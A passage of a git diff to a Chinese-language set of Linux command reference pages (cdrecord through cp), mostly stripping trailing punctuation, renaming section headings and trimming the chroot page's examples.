用于Linux系统下光盘刻录,它支持cd和DVD格式。linux下一般都带有cdrecord软件。 +**cdrecord命令** 用于Linux系统下光盘刻录,它支持cd和DVD格式。linux下一般都带有cdrecord软件 -### 语法 +## 选项 ``` cdrecord(选项)(参数) @@ -16,18 +16,18 @@ cdrecord(选项)(参数) ``` --v:显示刻录光盘的详细过程; --eject:刻录完成后弹出光盘; -speed=<刻录倍速>:指定光盘刻录的倍速; -dev=<刻录机设备号>:指定使用“-scanbus”参数扫描到的刻录机的设备号; --scanbus:扫描系统中可用的刻录机。 +-v:显示刻录光盘的详细过程 +-eject:刻录完成后弹出光盘 +speed=<刻录倍速>:指定光盘刻录的倍速 +dev=<刻录机设备号>:指定使用“-scanbus”参数扫描到的刻录机的设备号 +-scanbus:扫描系统中可用的刻录机 ``` ### 参数 -ISO文件:指定刻录光盘使用的ISO映像文件。 +ISO文件:指定刻录光盘使用的ISO映像文件 -### 实例 +## 实例 查看系统所有 CD-R(w) 设备: @@ -50,7 +50,7 @@ cdrecord -v -eject speed=4 dev=0,3,0 backup.iso * -v:显示刻录光盘的详细过程 * -eject:刻完自动弹出光盘 -* speed=4 dev=0,3,0:四速刻录到HP CD-writer设备上。 +* speed=4 dev=0,3,0:四速刻录到HP CD-writer设备上 擦写光驱: diff --git a/Linux_man_cn/chage.md b/Linux_man_cn/chage.md index 0594e47..71553e8 100644 --- a/Linux_man_cn/chage.md +++ b/Linux_man_cn/chage.md @@ -18,7 +18,7 @@ ``` -### 实例 +## 实例 ```bash : << comment diff --git a/Linux_man_cn/chcon.md b/Linux_man_cn/chcon.md index 10484aa..b2720a5 100644 --- a/Linux_man_cn/chcon.md +++ b/Linux_man_cn/chcon.md @@ -5,9 +5,9 @@ chcon ## 说明 -**chcon命令** 是修改对象(文件)的安全上下文,比如:用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用`--reference`选项时,把指定文件的安全环境设置为与参考文件相同。chcon命令位于`/usr/bin/chcon`。 +**chcon命令** 是修改对象(文件)的安全上下文,比如:用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用`--reference`选项时,把指定文件的安全环境设置为与参考文件相同。chcon命令位于`/usr/bin/chcon` -### 语法 +## 选项 ``` chcon [选项]... 环境 文件... @@ -18,27 +18,27 @@ chcon [选项]... --reference=参考文件 文件... ``` --h, --no-dereference:影响符号连接而非引用的文件。 - --reference=参考文件:使用指定参考文件的安全环境,而非指定值。 --R, --recursive:递归处理所有的文件及子目录。 --v, --verbose:为处理的所有文件显示诊断信息。 --u, --user=用户:设置指定用户的目标安全环境。 --r, --role=角色:设置指定角色的目标安全环境。 --t, --type=类型:设置指定类型的目标安全环境。 --l, --range=范围:设置指定范围的目标安全环境。 +-h, --no-dereference:影响符号连接而非引用的文件 + --reference=参考文件:使用指定参考文件的安全环境,而非指定值 +-R, --recursive:递归处理所有的文件及子目录 +-v, --verbose:为处理的所有文件显示诊断信息 +-u, --user=用户:设置指定用户的目标安全环境 +-r, --role=角色:设置指定角色的目标安全环境 +-t, --type=类型:设置指定类型的目标安全环境 +-l, --range=范围:设置指定范围的目标安全环境 ``` -以下选项是在指定了`-R`选项时被用于设置如何穿越目录结构体系。如果您指定了多于一个选项,那么只有最后一个会生效。 +以下选项是在指定了`-R`选项时被用于设置如何穿越目录结构体系。如果您指定了多于一个选项,那么只有最后一个会生效 ``` --H:如果命令行参数是一个通到目录的符号链接,则遍历符号链接。 --L:遍历每一个遇到的通到目录的符号链接。 --P:不遍历任何符号链接(默认)。 ---help:显示此帮助信息并退出。 ---version:显示版本信息并退出。 +-H:如果命令行参数是一个通到目录的符号链接,则遍历符号链接 +-L:遍历每一个遇到的通到目录的符号链接 +-P:不遍历任何符号链接(默认) +--help:显示此帮助信息并退出 +--version:显示版本信息并退出 ``` -### 实例 +## 实例 如果你想把这个ftp共享给匿名用户的话,需要开启以下: diff --git a/Linux_man_cn/chgrp.md b/Linux_man_cn/chgrp.md index bf25226..57c1bee 100644 --- a/Linux_man_cn/chgrp.md +++ b/Linux_man_cn/chgrp.md @@ -2,7 +2,7 @@ ## 说明 -**chgrp命令** 用来改变文件或目录所属的用户组。该命令用来改变指定文件所属的用户组。其中,组名可以是用户组的id,也可以是用户组的组名。 +**chgrp命令** 用来改变文件或目录所属的用户组。该命令用来改变指定文件所属的用户组。其中,组名可以是用户组的id,也可以是用户组的组名 文件名可以 是由空格分开的要改变属组的文件列表,也可以是由通配符描述的文件集合。如果用户不是该文件的文件主或超级用户(root),则不能改变 该文件的组 @@ -37,7 +37,7 @@ -P do not traverse any symbolic links (default) 示例: - chgrp staff /u 将 /u 的属组更改为"staff"。 + chgrp staff /u 将 /u 的属组更改为"staff" chgrp -hR staff /u 将 /u 及其子目录下所有文件的属组更改为"staff" ``` diff --git a/Linux_man_cn/chkconfig.md b/Linux_man_cn/chkconfig.md index 42113f0..4d83515 100644 --- a/Linux_man_cn/chkconfig.md +++ b/Linux_man_cn/chkconfig.md @@ -5,9 +5,9 @@ chkconfig ## 说明 -**chkconfig命令** 检查、设置系统的各种服务。这是Red Hat公司遵循GPL规则所开发的程序,它可查询操作系统在每一个执行等级中会执行哪些系统服务,其中包括各类常驻服务。谨记chkconfig不是立即自动禁止或激活一个服务,它只是简单的改变了符号连接。 +**chkconfig命令** 检查、设置系统的各种服务。这是Red Hat公司遵循GPL规则所开发的程序,它可查询操作系统在每一个执行等级中会执行哪些系统服务,其中包括各类常驻服务。谨记chkconfig不是立即自动禁止或激活一个服务,它只是简单的改变了符号连接 -### 语法 +## 选项 ```bash chkconfig(选项) @@ -16,9 +16,9 @@ chkconfig(选项) ```bash ---add:增加所指定的系统服务,让chkconfig指令得以管理它,并同时在系统启动的叙述文件内增加相关数据; ---del:删除所指定的系统服务,不再由chkconfig指令管理,并同时在系统启动的叙述文件内删除相关数据; ---level<等级代号>:指定读系统服务要在哪一个执行等级中开启或关毕。 +--add:增加所指定的系统服务,让chkconfig指令得以管理它,并同时在系统启动的叙述文件内增加相关数据 +--del:删除所指定的系统服务,不再由chkconfig指令管理,并同时在系统启动的叙述文件内删除相关数据 +--level<等级代号>:指定读系统服务要在哪一个执行等级中开启或关毕 ``` 缺省的运行级,RHS用到的级别如下: @@ -32,19 +32,19 @@ chkconfig(选项) 对各个运行级的详细解释: -* 0 为停机,机器关闭。 -* 1 为单用户模式,就像Win9x下的安全模式类似。 +* 0 为停机,机器关闭 +* 1 为单用户模式,就像Win9x下的安全模式类似 * 2 为多用户模式,但是没有NFS支持。 -* 3 为完整的多用户模式,是标准的运行级。 -* 4 一般不用,在一些特殊情况下可以用它来做一些事情。例如在笔记本 电脑的电池用尽时,可以切换到这个模式来做一些设置。 -* 5 就是X11,进到X Window系统了。 -* 6 为重启,运行init 6机器就会重启。 +* 3 为完整的多用户模式,是标准的运行级 +* 4 一般不用,在一些特殊情况下可以用它来做一些事情。例如在笔记本 电脑的电池用尽时,可以切换到这个模式来做一些设置 +* 5 就是X11,进到X Window系统了 +* 6 为重启,运行init 6机器就会重启 -需要说明的是,level选项可以指定要查看的运行级而不一定是当前运行级。对于每个运行级,只能有一个启动脚本或者停止脚本。当切换运行级时,init不会重新启动已经启动的服务,也不会再次去停止已经停止的服务。 +需要说明的是,level选项可以指定要查看的运行级而不一定是当前运行级。对于每个运行级,只能有一个启动脚本或者停止脚本。当切换运行级时,init不会重新启动已经启动的服务,也不会再次去停止已经停止的服务 运行级文件: -每个被chkconfig管理的服务需要在对应的init.d下的脚本加上两行或者更多行的注释。第一行告诉chkconfig缺省启动的运行级以及启动和停止的优先级。如果某服务缺省不在任何运行级启动,那么使用`-`代替运行级。第二行对服务进行描述,可以用`\`跨行注释。 +每个被chkconfig管理的服务需要在对应的init.d下的脚本加上两行或者更多行的注释。第一行告诉chkconfig缺省启动的运行级以及启动和停止的优先级。如果某服务缺省不在任何运行级启动,那么使用`-`代替运行级。第二行对服务进行描述,可以用`\`跨行注释 例如random.init包含三行: @@ -54,26 +54,26 @@ chkconfig(选项) # higher quality random number generation. ``` -### 实例 +## 实例 ```bash -chkconfig --list #列出所有的系统服务。 -chkconfig --add httpd #增加httpd服务。 -chkconfig --del httpd #删除httpd服务。 -chkconfig --level httpd 2345 on #设置httpd在运行级别为2、3、4、5的情况下都是on(开启)的状态。 -chkconfig --list # 列出系统所有的服务启动情况。 -chkconfig --list mysqld # 列出mysqld服务设置情况。 -chkconfig --level 35 mysqld on # 设定mysqld在等级3和5为开机运行服务,--level 35表示操作只在等级3和5执行,on表示启动,off表示关闭。 -chkconfig mysqld on # 设定mysqld在各等级为on,“各等级”包括2、3、4、5等级。 - -chkconfig –level redis 2345 on # 把redis在运行级别为2、3、4、5的情况下都是on(开启)的状态。 +chkconfig --list #列出所有的系统服务 +chkconfig --add httpd #增加httpd服务 +chkconfig --del httpd #删除httpd服务 +chkconfig --level httpd 2345 on #设置httpd在运行级别为2、3、4、5的情况下都是on(开启)的状态 +chkconfig --list # 列出系统所有的服务启动情况 +chkconfig --list mysqld # 列出mysqld服务设置情况 +chkconfig --level 35 mysqld on # 设定mysqld在等级3和5为开机运行服务,--level 35表示操作只在等级3和5执行,on表示启动,off表示关闭 +chkconfig mysqld on # 设定mysqld在各等级为on,“各等级”包括2、3、4、5等级 + +chkconfig –level redis 2345 on # 把redis在运行级别为2、3、4、5的情况下都是on(开启)的状态 ``` 如何增加一个服务: -1. 服务脚本必须存放在`/etc/ini.d/`目录下; -2. `chkconfig --add servicename`在chkconfig工具服务列表中增加此服务,此时服务会被在`/etc/rc.d/rcN.d`中赋予K/S入口了; -3. `chkconfig --level 35 mysqld on`修改服务的默认启动等级。 +1. 服务脚本必须存放在`/etc/ini.d/`目录下 +2. `chkconfig --add servicename`在chkconfig工具服务列表中增加此服务,此时服务会被在`/etc/rc.d/rcN.d`中赋予K/S入口了 +3. `chkconfig --level 35 mysqld on`修改服务的默认启动等级 diff --git a/Linux_man_cn/chpasswd.md b/Linux_man_cn/chpasswd.md index 6d294a1..cb39fd9 100644 --- a/Linux_man_cn/chpasswd.md +++ b/Linux_man_cn/chpasswd.md @@ -5,9 +5,9 @@ chpasswd ## 说明 -**chpasswd命令** 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中。 +**chpasswd命令** 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中 -### 语法 +## 选项 ``` chpasswd(选项) @@ -16,12 +16,12 @@ chpasswd(选项) ``` --e:输入的密码是加密后的密文; --h:显示帮助信息并退出; --m:当被支持的密码未被加密时,使用MD5加密代替DES加密。 +-e:输入的密码是加密后的密文 +-h:显示帮助信息并退出 +-m:当被支持的密码未被加密时,使用MD5加密代替DES加密 ``` -### 实例 +## 实例 先创建用户密码对应文件,格式为`username:password`,如`abc:abc123`,必须以这种格式来书写,并且不能有空行,保存成文本文件user.txt,然后执行chpasswd命令: @@ -29,6 +29,6 @@ chpasswd(选项) chpasswd < user.txt ``` -以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。 +以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径 diff --git a/Linux_man_cn/chroot.md b/Linux_man_cn/chroot.md index 00bf10a..a3f2ee7 100644 --- a/Linux_man_cn/chroot.md +++ b/Linux_man_cn/chroot.md @@ -1,121 +1,39 @@ -chroot -=== - -把根目录换成指定的目的目录 +# chroot ## 说明 -**chroot命令** 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以`/`,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为`/`位置。 +**chroot命令** 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录 +结构都是以`/`,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为`/`位置 -在经过 chroot 命令之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件,因此它带来的好处大致有以下3个: +chroot命令之后,系统读取的目录和文件将不再是系统根下的而是被指定的目录,因此它带来的好处大致有以下3个: **增加了系统的安全性,限制了用户的权力:** -在经过 chroot 之后,在新根下将访问不到旧系统的根目录结构和文件,这样就增强了系统的安全性。这个一般是在登录 (login) 前使用 chroot,以此达到用户不能访问一些特定的文件。 +在经过 chroot 之后,在新根下将访问不到旧系统的根目录结构和文件,这样就增强了系统的安全性。这个一般是在登录 (login) 前使用 chroot +以此达到用户不能访问一些特定的文件 **建立一个与原系统隔离的系统目录结构,方便用户的开发:** -使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构。在这个新的环境中,可以用来测试软件的静态编译以及一些与系统不相关的独立开发。 +使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构。在这个新的环境中,可以用来测试软件的静态编译 +以及一些与系统不相关的独立开发 **切换系统的根目录位置,引导 Linux 系统启动以及急救系统等:** -chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init。另外,当系统出现一些问题时,我们也可以使用 chroot 来切换到一个临时的系统。 - -### 语法 - -``` -chroot(选项)(参数) -``` - - - -``` ---help:在线帮助; ---version:显示版本信息。 -``` - -### 参数 - -* 目录:指定新的根目录; -* 指令:指定要执行的指令。 - -### 实例 - - **将target作为根目录(运行其中的`/bin/sh`):** - -``` -chroot target /bin/sh -``` - -这里,target是busybox安装好的路径,类似一个文件系统包含了许多工具。这样,将会进入一个shell界面,这个shell以target为根。运行exit退出该shell又返回原来的本机环境了,也可以使用Ctrl+D。 - -注意: - -* 根用户才行 -* 如果直接chroot target默认寻找target的/bin/bash.这会以target作为根目录 - -将target作为根目录(运行其中的`/bin/ls`): - -``` -chroot target /bin/ls -``` - -这里,target是busybox安装好的路径,类似一个文件系统包含了许多工具。这样运行的是target中的ls(不是本机的`/bin/ls`),然后返回立即本机的目录环境。 - -注意,自己在本地编译一个程序生成a.out之后,拷进`target/bin/`中这样运行却不行,因为它包含了动态连接的库,需要用ldd查看a.out需要那些动态库,将这些库拷贝到新根的对应路径下才能执行。 +chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根 +位置并执行真正的 init。另外,当系统出现一些问题时,我们也可以使用 chroot 来切换到一个临时的系统 - **用chroot运行自己编译的一个程序:** +## 选项 -准备chroot的根目录: - -``` -mkdir newRoot +```markdown +--userspec=用户:组 指定所用的用户及用户组(可使用"数字"或"名字") +--groups=组列表 指定可供选择的用户组列表,形如组1,组2,组3... ``` -编译自己的程序: +## 实例 -``` -gcc main.c -``` +```bash +chroot target /bin/sh # 将target作为根目录(运行其中的`/bin/sh`) +chroot target /bin/ls # 将target作为根目录(运行其中的`/bin/ls`) -这里main.c生成a.out,功能是输出hello。 - -查看程序需要的库: - -``` -ldd a.out ``` -输入之后,输出如下: - -``` -linux-gate.so.1 = > (0xb8034000) -libc.so.6 = > /lib/tls/i686/cmov/libc.so.6 (0xb7eab000) -/lib/ld-linux.so.2 (0xb801a000) -``` - -将程序需要的库和程序拷贝到新根目录下: - -``` -cp a.out newRoot -mkdir newRoot/lib -cp /lib/tls/i686/cmov/libc.so.6 newRoot/lib -cp /lib/ld-linux.so.2 newRoot/lib -``` - -这里newRoot内容将如下: - -``` -a.out lib/ -``` - -使用chroot运行自己的程序: - -``` -su -chroot newRoot /a.out -``` - -这样就能够正确运行a.out了,因为a.out使用到了其他的动态连接库,所以需要将库拷贝到newRoot中,如果没有其他库那么直接拷贝a.out就能运行。例如静态编译后的busybox,其安装目录中的`/bin/busybox`就没有依赖其他库。 - - diff --git a/Linux_man_cn/clear.md b/Linux_man_cn/clear.md index 2d8dde3..0d75ace 100644 --- a/Linux_man_cn/clear.md +++ b/Linux_man_cn/clear.md @@ -5,16 +5,16 @@ clear ## 说明 -**clear命令** 用于清除当前屏幕终端上的任何信息。 +**clear命令** 用于清除当前屏幕终端上的任何信息 -### 语法 +## 选项 ``` clear ``` -### 实例 +## 实例 -直接输入clear命令当前终端上的任何信息就可被清除。 +直接输入clear命令当前终端上的任何信息就可被清除 diff --git a/Linux_man_cn/clockdiff.md b/Linux_man_cn/clockdiff.md index 1174f07..1935f01 100644 --- a/Linux_man_cn/clockdiff.md +++ b/Linux_man_cn/clockdiff.md @@ -5,16 +5,16 @@ clockdiff ## 说明 -在ip报文的首部和ICMP报文的首部都可以放入时间戳数据。 **clockdiff** 程序正是使用时间戳来测算目的主机和本地主机的系统时间差。 +在ip报文的首部和ICMP报文的首部都可以放入时间戳数据。 **clockdiff** 程序正是使用时间戳来测算目的主机和本地主机的系统时间差 ``` --o:使用IP时间戳选项来测量系统时间差。时间戳只用3个。 --o1:使用IP时间戳选项来测量系统时间差。用4个时间戳。如果-o和-o1都没有设置,那么就是用ICMP时间戳来测试系统时间差。 +-o:使用IP时间戳选项来测量系统时间差。时间戳只用3个 +-o1:使用IP时间戳选项来测量系统时间差。用4个时间戳。如果-o和-o1都没有设置,那么就是用ICMP时间戳来测试系统时间差 ``` -### 实例 +## 实例 ``` lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1 @@ -45,7 +45,7 @@ lixi@lixi-desktop:~# ./clockdiff 202.38.64.9 host=202.38.64.9 rtt=750(187)ms/0ms delta=-857517ms/-857517ms Wed Dec 17 11:28:35 2008 ``` -两种方法测试的都比较准确。 +两种方法测试的都比较准确 ``` lixi@lixi-desktop:~#./clockdiff gigagate1.Princeton.EDU @@ -53,6 +53,6 @@ lixi@lixi-desktop:~#./clockdiff gigagate1.Princeton.EDU host=gigagate1.Princeton.EDU rtt=307(21)ms/271ms delta=-5ms/-5ms Wed Dec 17 11:50:16 2008 ``` -上面是测试一个RTT较大的目的主机和本地主机的系统时间差。不过在使用clockdiff的时候,需要一点运气,因为很多路由会忽略ICMP或IP时间戳。 +上面是测试一个RTT较大的目的主机和本地主机的系统时间差。不过在使用clockdiff的时候,需要一点运气,因为很多路由会忽略ICMP或IP时间戳 diff --git a/Linux_man_cn/cmp.md b/Linux_man_cn/cmp.md index 975f92d..697261b 100644 --- a/Linux_man_cn/cmp.md +++ b/Linux_man_cn/cmp.md @@ -5,9 +5,9 @@ cmp ## 说明 -**cmp命令** 用来比较两个文件是否有差异。当相互比较的两个文件完全一样时,则该指令不会显示任何信息。若发现有差异,预设会标示出第一个不通之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为“-”,则cmp指令会从标准输入设备读取数据。 +**cmp命令** 用来比较两个文件是否有差异。当相互比较的两个文件完全一样时,则该指令不会显示任何信息。若发现有差异,预设会标示出第一个不通之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为“-”,则cmp指令会从标准输入设备读取数据 -### 语法 +## 选项 ``` cmp(选项)(参数) @@ -16,19 +16,19 @@ cmp(选项)(参数) ``` --c或--print-chars:除了标明差异处的十进制字码之外,一并显示该字符所对应字符; --i<字符数目>或--ignore-initial=<字符数目>:指定一个数目; --l或——verbose:标示出所有不一样的地方; --s或--quiet或——silent:不显示错误信息; --v或——version:显示版本信息; ---help:在线帮助。 +-c或--print-chars:除了标明差异处的十进制字码之外,一并显示该字符所对应字符 +-i<字符数目>或--ignore-initial=<字符数目>:指定一个数目 +-l或——verbose:标示出所有不一样的地方 +-s或--quiet或——silent:不显示错误信息 +-v或——version:显示版本信息 +--help:在线帮助 ``` ### 参数 -目录:比较两个文件的差异。 +目录:比较两个文件的差异 -### 实例 +## 实例 使用cmp命令比较文件"testfile"和文件"testfile1"两个文件,则输入下面的命令: @@ -57,6 +57,6 @@ cmp testfile testfile1 #比较两个文件 testfile testfile1 #有差异:第8字节,第2行 ``` -注意:在比较结果中,只能够显示第一比较结果。 +注意:在比较结果中,只能够显示第一比较结果 diff --git a/Linux_man_cn/col.md b/Linux_man_cn/col.md index 078247b..8f626fb 100644 --- a/Linux_man_cn/col.md +++ b/Linux_man_cn/col.md @@ -5,9 +5,9 @@ col ## 说明 -**col命令** 是一个标准输入文本过滤器,它从标注输入设备读取文本内容,并把内容显示到标注输出设备。在许多UNIX说明文件里,都有RLF控制字符。当我们运用shell特殊字符`>`和`>>`,把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col命令则能有效滤除这些控制字符。 +**col命令** 是一个标准输入文本过滤器,它从标注输入设备读取文本内容,并把内容显示到标注输出设备。在许多UNIX说明文件里,都有RLF控制字符。当我们运用shell特殊字符`>`和`>>`,把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col命令则能有效滤除这些控制字符 -### 语法 +## 选项 ``` col(选项) @@ -16,10 +16,10 @@ col(选项) ``` --b:过滤掉所有的控制字符,包括RLF和HRLF; --f:滤掉RLF字符,但允许将HRLF字符呈现出来; --x:以多个空格字符来表示跳格字符; --l<缓冲区列数>:预设的内存缓冲区有128列,用户可以自行指定缓冲区的大小。 +-b:过滤掉所有的控制字符,包括RLF和HRLF +-f:滤掉RLF字符,但允许将HRLF字符呈现出来 +-x:以多个空格字符来表示跳格字符 +-l<缓冲区列数>:预设的内存缓冲区有128列,用户可以自行指定缓冲区的大小 ``` diff --git a/Linux_man_cn/colrm.md b/Linux_man_cn/colrm.md index 420d876..ea1af41 100644 --- a/Linux_man_cn/colrm.md +++ b/Linux_man_cn/colrm.md @@ -5,9 +5,9 @@ colrm ## 说明 -**colrm命令** 用于删除文件中的指定列。colrm命令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则colrm命令不会过滤任何一行。 +**colrm命令** 用于删除文件中的指定列。colrm命令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则colrm命令不会过滤任何一行 -### 语法 +## 选项 ``` colrm(参数) @@ -15,7 +15,7 @@ colrm(参数) ### 参数 -* 起始列号:指定要删除的指定列; -* 结尾列号:指定要删除的结尾列。 +* 起始列号:指定要删除的指定列 +* 结尾列号:指定要删除的结尾列 diff --git a/Linux_man_cn/comm.md b/Linux_man_cn/comm.md index ddd5dff..69138d0 100644 --- a/Linux_man_cn/comm.md +++ b/Linux_man_cn/comm.md @@ -5,13 +5,13 @@ comm ## 说明 -**comm命令** 可以用于两个文件之间的比较,它有一些选项可以用来调整输出,以便执行交集、求差、以及差集操作。 +**comm命令** 可以用于两个文件之间的比较,它有一些选项可以用来调整输出,以便执行交集、求差、以及差集操作 -* 交集:打印出两个文件所共有的行。 -* 求差:打印出指定文件所包含的且不相同的行。 -* 差集:打印出包含在一个文件中,但不包含在其他指定文件中的行。 +* 交集:打印出两个文件所共有的行 +* 求差:打印出指定文件所包含的且不相同的行 +* 差集:打印出包含在一个文件中,但不包含在其他指定文件中的行 -### 语法 +## 选项 ```bash comm [选项]... 文件1 文件2 @@ -20,10 +20,10 @@ comm [选项]... 文件1 文件2 ``` -如果不附带选项,程序会生成三列输出。 -第一列包含文件1 特有的行, -第二列包含文件2 特有的行, -而第三列包含两个文件共有的行。 +如果不附带选项,程序会生成三列输出 +第一列包含文件1 特有的行 +第二列包含文件2 特有的行 +而第三列包含两个文件共有的行 -1 不输出文件1 特有的行 -2 不输出文件2 特有的行 @@ -36,10 +36,10 @@ comm [选项]... 文件1 文件2 ### 参数 -* 文件1:指定要比较的第一个**有序**文件; -* 文件2:指定要比较的第二个**有序**文件。 +* 文件1:指定要比较的第一个**有序**文件 +* 文件2:指定要比较的第二个**有序**文件 -### 实例 +## 实例 文本 `aaa.txt` 内容 @@ -84,7 +84,7 @@ eee 第一列 第二列 第三列 ``` -输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列是以制表符(\t)作为定界符。 +输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列是以制表符(\t)作为定界符 **交集** @@ -113,7 +113,7 @@ ttt jjj ``` -`sed 's/^\t//'` 是将制表符`\t`删除,以便把两列合并成一列。 +`sed 's/^\t//'` 是将制表符`\t`删除,以便把两列合并成一列 **差集** diff --git a/Linux_man_cn/command.md b/Linux_man_cn/command.md index 4f54a2c..97195dc 100644 --- a/Linux_man_cn/command.md +++ b/Linux_man_cn/command.md @@ -5,9 +5,9 @@ command ## 说明 -**command命令** 调用指定的指令并执行,命令执行时不查询shell函数。command命令只能够执行shell内部的命令。 +**command命令** 调用指定的指令并执行,命令执行时不查询shell函数。command命令只能够执行shell内部的命令 -### 语法 +## 选项 ``` command(参数) @@ -15,9 +15,9 @@ command(参数) ### 参数 -指令:需要调用的指令及参数。 +指令:需要调用的指令及参数 -### 实例 +## 实例 使用command命令调用执行`echo Linux`,输入如下命令: diff --git a/Linux_man_cn/compress.md b/Linux_man_cn/compress.md index 69e40dc..ceb8c7e 100644 --- a/Linux_man_cn/compress.md +++ b/Linux_man_cn/compress.md @@ -5,9 +5,9 @@ compress ## 说明 -**compress命令** 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序,文件经它压缩后,其名称后面会多出".Z"的扩展名。当要解压缩时,可执行uncompress指令。事实上uncompress是指向compress的符号连接,因此不论是压缩或解压缩,都可通过compress指令单独完成。 +**compress命令** 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序,文件经它压缩后,其名称后面会多出".Z"的扩展名。当要解压缩时,可执行uncompress指令。事实上uncompress是指向compress的符号连接,因此不论是压缩或解压缩,都可通过compress指令单独完成 -### 语法 +## 选项 ``` compress(选项)(参数) @@ -16,20 +16,20 @@ compress(选项)(参数) ``` --f:不提示用户,强制覆盖掉目标文件; --c:将结果送到标准输出,无文件被改变; --r:递归的操作方式; --b<压缩效率>:压缩效率是一个介于9~16的数值,预设值为"16",指定愈大的数值,压缩效率就愈高; --d:对文件进行解压缩而非压缩; --v:显示指令执行过程; --V:显示指令版本及程序预设值。 +-f:不提示用户,强制覆盖掉目标文件 +-c:将结果送到标准输出,无文件被改变 +-r:递归的操作方式 +-b<压缩效率>:压缩效率是一个介于9~16的数值,预设值为"16",指定愈大的数值,压缩效率就愈高 +-d:对文件进行解压缩而非压缩 +-v:显示指令执行过程 +-V:显示指令版本及程序预设值 ``` ### 参数 -文件:指定要压缩的文件列表。 +文件:指定要压缩的文件列表 -### 实例 +## 实例 将`/etc/man.config`复到`/tmp` ,并加以压缩 @@ -62,6 +62,6 @@ compress(选项)(参数) -rw-r--r-- 1 root root 2605 Jul 27 11:46 man.config.back.Z ``` -这个`-c`的选项比较有趣!会将压缩过程的资料输出到屏幕上,而不是写入成为file.Z文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名。 +这个`-c`的选项比较有趣!会将压缩过程的资料输出到屏幕上,而不是写入成为file.Z文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名 diff --git a/Linux_man_cn/consoletype.md b/Linux_man_cn/consoletype.md index d8f6096..566c5f4 100644 --- a/Linux_man_cn/consoletype.md +++ b/Linux_man_cn/consoletype.md @@ -5,15 +5,15 @@ consoletype ## 说明 -**consoletype命令** 用于打印已连接的终端类型到标准输出,并能够检查已连接的终端是当前终端还是虚拟终端。 +**consoletype命令** 用于打印已连接的终端类型到标准输出,并能够检查已连接的终端是当前终端还是虚拟终端 -### 语法 +## 选项 ``` consoletype ``` -### 实例 +## 实例 ``` [root@localhost ~]# consoletype diff --git a/Linux_man_cn/convertquota.md b/Linux_man_cn/convertquota.md index 2db74bb..f7ecad6 100644 --- a/Linux_man_cn/convertquota.md +++ b/Linux_man_cn/convertquota.md @@ -5,9 +5,9 @@ convertquota ## 说明 -**convertquota命令** 用于将老的磁盘额数据文件(“quota.user”和“quota.group”)转换为新格式的文件(“quota.user”和“quota.group”)。 +**convertquota命令** 用于将老的磁盘额数据文件(“quota.user”和“quota.group”)转换为新格式的文件(“quota.user”和“quota.group”) -### 语法 +## 选项 ``` convertquota(选项)(参数) @@ -16,17 +16,17 @@ convertquota(选项)(参数) ``` --u:仅转换用户磁盘配额数据文件; --g:仅转换组磁盘配额数据文件; --f:将老的磁盘配额文件转换为新的格式; --e:将新的文件格式从大字节序换为小字节序。 +-u:仅转换用户磁盘配额数据文件 +-g:仅转换组磁盘配额数据文件 +-f:将老的磁盘配额文件转换为新的格式 +-e:将新的文件格式从大字节序换为小字节序 ``` ### 参数 -文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区)。 +文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区) -### 实例 +## 实例 使用convertquota指令转换指定文件系统`/data`的磁盘配额数据文件。在命令行中输入下面的命令: diff --git a/Linux_man_cn/cp.md b/Linux_man_cn/cp.md index f8678cf..2e1c85c 100644 --- a/Linux_man_cn/cp.md +++ b/Linux_man_cn/cp.md @@ -13,12 +13,13 @@  或:cp [选项]... -t 目录 源文件... Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY. -必选参数对长短选项同时适用。 +必选参数对长短选项同时适用 -a, --archive 等于-dR --preserve=all - --attributes-only 仅复制属性而不复制数据 --backup[=CONTROL 为每个已存在的目标文件创建备份 + --attributes-only 仅复制属性而不复制数据 --backup[=CONTROL为每个已存在的目标文件创建备份 -b 类似--backup 但不接受参数 --copy-contents 在递归处理是复制特殊文件内容 - -d 等于--no-dereference --preserve=links,当复制符号连接时,把目标文件或目录也建立为符号连接,并指向与源文件或目录连接的原始文件或目录; + -d 等于--no-dereference --preserve=links,当复制符号连接时,把目标文件或目录也建立为符号连接 + 并指向与源文件或目录连接的原始文件或目录 -f, --force 强行复制文件或目录,不论目标文件或目录是否已存在强行复制文件或目录,不论目标文件或目录是否已存在 -i, --interactive 覆盖既有文件之前先询问用户 -H follow command-line 